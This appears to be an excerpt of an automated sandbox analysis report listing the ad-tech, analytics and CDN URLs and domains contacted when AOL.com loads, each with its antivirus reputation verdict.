https://us-u.openx.net/w/1.0/sd?id=537072960&val=0randk1bxelfx	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/finance_banner.4c2b64bc7666579b.js	0%	Avira URL Cloud	safe
https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZGFfZmJkYTMxNmI0YTE5MjYxMzc5ZDYxMWUxMjQzNDdiN2NlOWE0YzI1Nzc3ZjQ0NDY2NzVjZWM0ZWQwNThkZDNhMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	0%	Avira URL Cloud	safe
https://ce.lijit.com/merge?pid=76&3pid=43a0948a-4d7b-444c-a692-110902d06804&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	0%	Avira URL Cloud	safe
https://aax-eu.amazon-adsystem.com/s/ecm3?ex=rubiconprojectHMT&id=5RidXYCrRWyX3hVU66KEVw&gdpr=0	0%	Avira URL Cloud	safe
https://ups.analytics.yahoo.com/ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	0%	Avira URL Cloud	safe
https://3p-udc.yahoo.com/v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503685233&yhlClientVer=3.56.0&yhlRnd=gLwYe9NlgbwIUYd9&yhlCompressed=3	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/special_event.0ca9668537635e40.js	0%	Avira URL Cloud	safe
https://ib.adnxs.com/prebid/setuid?bidder=triplelift_native&gdpr=0&gdpr_consent=&uid=3476490108663385185440	0%	Avira URL Cloud	safe
https://bidder.criteo.com/cdb?ptv=144&profileId=185&av=36&wv=8.37.0&cb=72424936861	0%	Avira URL Cloud	safe
https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52	0%	Avira URL Cloud	safe
https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3	0%	Avira URL Cloud	safe
https://consent.cmp.oath.com/version/6.4.1/cmp.js	0%	Avira URL Cloud	safe
https://rtb.gumgum.com/usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355	0%	Avira URL Cloud	safe
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=48&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503733967&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=50&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=25&ns_st_asq=25&ns_st_sq=25&ns_st_po=7107&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=7107&ns_st_ipt=10&ns_st_iap=10&ns_st_iet=10&ns_st_iupc=10&ns_st_iupa=10&ns_st_ilpc=10&ns_st_ilpa=10&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=10&ns_st_ap=7107&ns_st_dap=10&ns_st_et=16833&ns_st_det=10&ns_st_upc=7107&ns_st_dupc=10&ns_st_upa=7107&ns_st_dupa=10&ns_st_lpc=7107&ns_st_dlpc=10&ns_st_lpa=7107&ns_st_dlpa=10&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=25&ns_st_pp=25&ns_st_pa=7107&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	0%	Avira URL Cloud	safe
https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/module-chatbot-gpt-chat_icon.svg	0%	Avira URL Cloud	safe
https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-offer-templates.js	0%	Avira URL Cloud	safe
https://cm-supply-web.gammaplatform.com/adx/usersyncsupply?pid=7&t=pixel	0%	Avira URL Cloud	safe
https://github.com/google/safevalues/issues	0%	Avira URL Cloud	safe
https://ib.adnxs.com/getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	0%	Avira URL Cloud	safe
https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_	0%	Avira URL Cloud	safe
https://ncp-gw-video.media.yahoo.com/api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage	0%	Avira URL Cloud	safe
https://s.yimg.com/wm/login/aol-apple-touch-icon.png	0%	Avira URL Cloud	safe
https://s.yimg.com/rx/ev/builds/1.6.29/evplayer.css	0%	Avira URL Cloud	safe
https://ce.lijit.com/merge?pid=106&3pid=8330378466080050028&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://3p-geo.yahoo.com/p?s=1197803361&t=bffCFzsY8w4IcNmR,0.39347121961417875&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22vp_fetch_duration%22%3A10093.399999999994%2C%22vp_fetch_end_time%22%3A19045.699999999983%2C%22vp_fetch_start%22%3A8952.299999999988%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503687%04_ms%03749%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	0%	Avira URL Cloud	safe
https://3p-geo.yahoo.com/p?s=1197803361&t=P2OLh1udjKSXZulj,0.17629055197317145&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503699%04A_prems%03217%04_E%03dwell%04_ts%031716503703%04_ms%03920%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/taboola.d258f55a4ca48b0c.js	0%	Avira URL Cloud	safe
https://ssp.disqus.com/match?bidder=18&buyeruid=3e69915a-aa81-453c-8be6-621af7150f41&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ==	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff2	0%	Avira URL Cloud	safe
https://display.bidder.taboola.com/OpenRTB/TaboolaHB/auction?publisher=1635762	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg	0%	Avira URL Cloud	safe
https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMTc1NzY4OWQ2ZWJiNGQzMzVhNzEzNzZjNDcyNjZhZGU1MWFiYjdkZDRkMGVmYjdlMTk0MzJmNmFjYTM3YWI0Ng%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	0%	Avira URL Cloud	safe
https://edge-auth.api.brightcove.com/playback/v1/accounts/6415665815001/videos/6353460326112	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff)	0%	Avira URL Cloud	safe
https://usersync.gumgum.com/usersync?b=dit&i=di_11fba54761394fc5986e8	0%	Avira URL Cloud	safe
https://s.aolcdn.com/caas-assets-production/assets/v1/weather.3d67f0f30b8148ec.js	0%	Avira URL Cloud	safe
https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-BoldItalic.ttf)	0%	Avira URL Cloud	safe
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fam-geo-atsv2.prod.media.g03.yahoodns.net	188.125.72.139	true	false		unknown
securepubads.g.doubleclick.net	142.250.186.66	true	false		unknown
um.simpli.fi	35.204.158.49	true	false		unknown
tls13.taboola.map.fastly.net	151.101.1.44	true	false		unknown
static.nl3.vip.prod.criteo.net	178.250.1.3	true	false		unknown
global.px.quantserve.com	91.228.74.200	true	false		unknown
prebid.media.net	34.120.63.153	true	false		unknown
i.clean.gg	34.95.69.49	true	false		unknown
d-ams1.turn.com	46.228.164.13	true	false		unknown
rtb.openx.net	35.186.253.211	true	false		unknown
1.cpm.ak-is2.net	77.245.57.72	true	false		unknown
cdn.w55c.net	3.78.151.12	true	false		unknown
crb.kargo.com	18.193.40.232	true	false		unknown
dualstack.tls13.taboola.map.fastly.net	151.101.1.44	true	false		unknown
mwzeom.zeotap.com	104.22.50.98	true	false		unknown
ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	3.71.149.231	true	false		unknown
www.google.com	172.217.18.4	true	false		unknown
sync.intentiq.com	3.160.150.30	true	false		unknown
noa-atsv2.media.g03.yahoodns.net	188.125.72.139	true	false		unknown
id.rlcdn.com	35.244.174.68	true	false		unknown
sync1.intentiq.com	3.160.150.105	true	false		unknown
match.adsrvr.org	15.197.193.217	true	false		unknown
match.prod.bidr.io	34.255.48.153	true	false		unknown
chidc2.outbrain.org	64.74.236.127	true	false		unknown
creativecdn.com	185.184.8.90	true	false		unknown
pagead-googlehosted.l.google.com	142.250.185.225	true	false		unknown
uip.semasio.net	77.243.51.122	true	false		unknown
zeta-ssp-385516103.us-east-1.elb.amazonaws.com	34.192.68.138	true	false		unknown
ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com	3.65.80.227	true	false		unknown
m.deepintent.com	8.18.47.7	true	false		unknown
pug-lhr-bc.pubmnet.com	185.64.191.210	true	false		unknown
pixel.onaudience.com	141.94.170.64	true	false		unknown
pixel-sync.sitescout.com	34.36.216.150	true	false		unknown
testing-1g0.pages.dev	172.66.47.157	true	true		unknown
ssum-sec.casalemedia.com	172.64.151.101	true	false		unknown
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false		unknown
rtb.adgrx.com	54.217.19.5	true	false		unknown
cs1418.wpc.psicdn.net	152.195.133.117	true	false		unknown
widget.us5.vip.prod.criteo.com	74.119.117.16	true	false		unknown
fastly-tls12-bam.nr-data.net	162.247.243.29	true	false		unknown
am1-direct-bgp.contextweb.com	208.93.169.131	true	false		unknown
iad-2-sync.go.sonobi.com	69.166.1.66	true	false		unknown
hbx.media.net	23.212.88.20	true	false		unknown
pugm-amsfpairbc.pubmnet.com	198.47.127.19	true	false		unknown
pixel-eu.onaudience.com	141.94.171.212	true	false		unknown
cs550162656.adn.psicdn.net	152.195.53.200	true	false		unknown
contextual.media.net	95.101.148.20	true	false		unknown
core.iprom.net	195.5.165.20	true	false		unknown
tsdtocl.com	151.101.1.44	true	false		unknown
widget.nl3.vip.prod.criteo.com	178.250.1.9	true	false		unknown
spug-lhrc.pubmnet.com	185.64.190.81	true	false		unknown
ad.mrtnsvr.com	34.102.163.6	true	false		unknown
sync.srv.stackadapt.com	54.165.165.20	true	false		unknown
d5p.de17a.com	213.155.156.167	true	false		unknown
pixel.tapad.com	34.111.113.62	true	false		unknown
pippio.com	107.178.254.65	true	false		unknown
a.nel.cloudflare.com	35.190.80.1	true	false		unknown
sync.ipredictive.com	52.72.151.87	true	false		unknown
prod-rotation-v2.guce.aws.oath.cloud	52.215.87.217	true	false		unknown
s.amazon-adsystem.com	52.46.155.104	true	false		unknown
ad.doubleclick.net	216.58.206.70	true	false		unknown
aax-eu.amazon-adsystem.com	54.239.33.158	true	false		unknown
js-agent.newrelic.com	162.247.243.39	true	false		unknown
metrics.brightcove.com	35.244.232.184	true	false		unknown
prod.msicontent.pse.public.aol.com	54.225.218.25	true	false		unknown
pubads.g.doubleclick.net	142.250.185.194	true	false		unknown
ipac.ctnsnet.com	35.186.193.173	true	false		unknown
ssp-sync.nl3.vip.prod.criteo.com	178.250.1.7	true	false		unknown
outspot2-ams.adx.opera.com	82.145.213.8	true	false		unknown
match.adsby.bidtheatre.com	64.227.64.62	true	false		unknown
ib.anycast.adnxs.com	185.89.210.46	true	false		unknown
edge.gycpi.b.yahoodns.net	87.248.119.251	true	false		unknown
matching.truffle.bid	162.55.120.196	true	false		unknown
aorta.clickagy.com	23.20.26.217	true	false		unknown
uipus.semasio.net	50.57.31.206	true	false		unknown
bidder.nl3.vip.prod.criteo.com	178.250.1.8	true	false		unknown
eu-eb2.3lift.com	13.248.245.213	true	false		unknown
hbopenbid-ams.pubmnet.com	185.64.189.112	true	false		unknown
livepixel-production.bln.liveintent.com	44.219.45.70	true	false		unknown
sync.crwdcntrl.net	52.17.55.191	true	false		unknown
rtb-csync-euw1.smartadserver.com	89.149.192.74	true	false		unknown
cm.g.doubleclick.net	142.250.184.226	true	false		unknown
eu-tlx.3lift.com	3.78.168.176	true	false		unknown
ds-pr-bh.ybp.gysm.yahoodns.net	52.212.30.128	true	false		unknown
sync.1rx.io	46.228.174.117	true	false		unknown
spug-amsfpairbc.pubmnet.com	198.47.127.20	true	false		unknown
us-u.openx.net	34.98.64.218	true	false		unknown
cs.krushmedia.com	8.2.110.134	true	false		unknown
k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com	34.250.204.32	true	false		unknown
cm-supply-web.gammaplatform.com	35.186.154.107	true	false		unknown
elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com	3.121.157.160	true	false		unknown
dsp.adfarm1.adition.com	85.114.159.118	true	false		unknown
cs.media.net	2.19.100.239	true	false		unknown
envoy-hl.envoy-csync1.core-b8mf.ov1o.com	35.214.200.71	true	false		unknown
js-sec.indexww.com	172.64.149.180	true	false		unknown
a.tribalfusion.com	104.18.24.173	true	false		unknown
sb.scorecardresearch.com	18.239.83.58	true	false		unknown
s0.2mdn.net	142.250.186.38	true	false		unknown
adizio.geo.iponweb.net	35.210.53.219	true	false		unknown
s.tribalfusion.com	104.18.25.173	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353502292112&time=1716503725281&seq=18&response_time_ms=1486	false	Avira URL Cloud: safe	unknown
https://aorta.clickagy.com/pixel.gif?ch=4&cm=30c07eaf-f5b5-420f-97bb-3cee9e535967&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D	false	Avira URL Cloud: safe	unknown
https://3p-udc.yahoo.com/v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503683997&yhlClientVer=3.56.0&yhlRnd=OXU0hISCqa4DhMZt&yhlCompressed=0	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external	false	URL Reputation: safe	unknown
https://sync.adkernel.com/user-sync?zone=220412&t=image&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D41%26buyeruid%3D%7BUID%7D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag==	false	Avira URL Cloud: safe	unknown
https://www.aol.com/lib/metro/g/myy/rapidworker_1_2_0.0.2.js	false	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	false	Avira URL Cloud: safe	unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://pbs.yahoo.com/setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ItNLAQZHfit0Ml6gQsWPeZ0W&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	false	Avira URL Cloud: safe	unknown
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=60&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503735284&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=62&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=31&ns_st_asq=31&ns_st_sq=31&ns_st_po=8369&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=8369&ns_st_ipt=15&ns_st_iap=15&ns_st_iet=15&ns_st_iupc=15&ns_st_iupa=15&ns_st_ilpc=15&ns_st_ilpa=15&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=15&ns_st_ap=8369&ns_st_dap=15&ns_st_et=18150&ns_st_det=15&ns_st_upc=8369&ns_st_dupc=15&ns_st_upa=8369&ns_st_dupa=15&ns_st_lpc=8369&ns_st_dlpc=15&ns_st_lpa=8369&ns_st_dlpa=15&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=31&ns_st_pp=31&ns_st_pa=8369&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/stream.7efb85c8f2ce352d.js	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58292/sync?_origin=1&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:C3E3B1BC7A434D6BB70BF025F9AF69E8&gdpr=0&gdpr_consent=	false		unknown
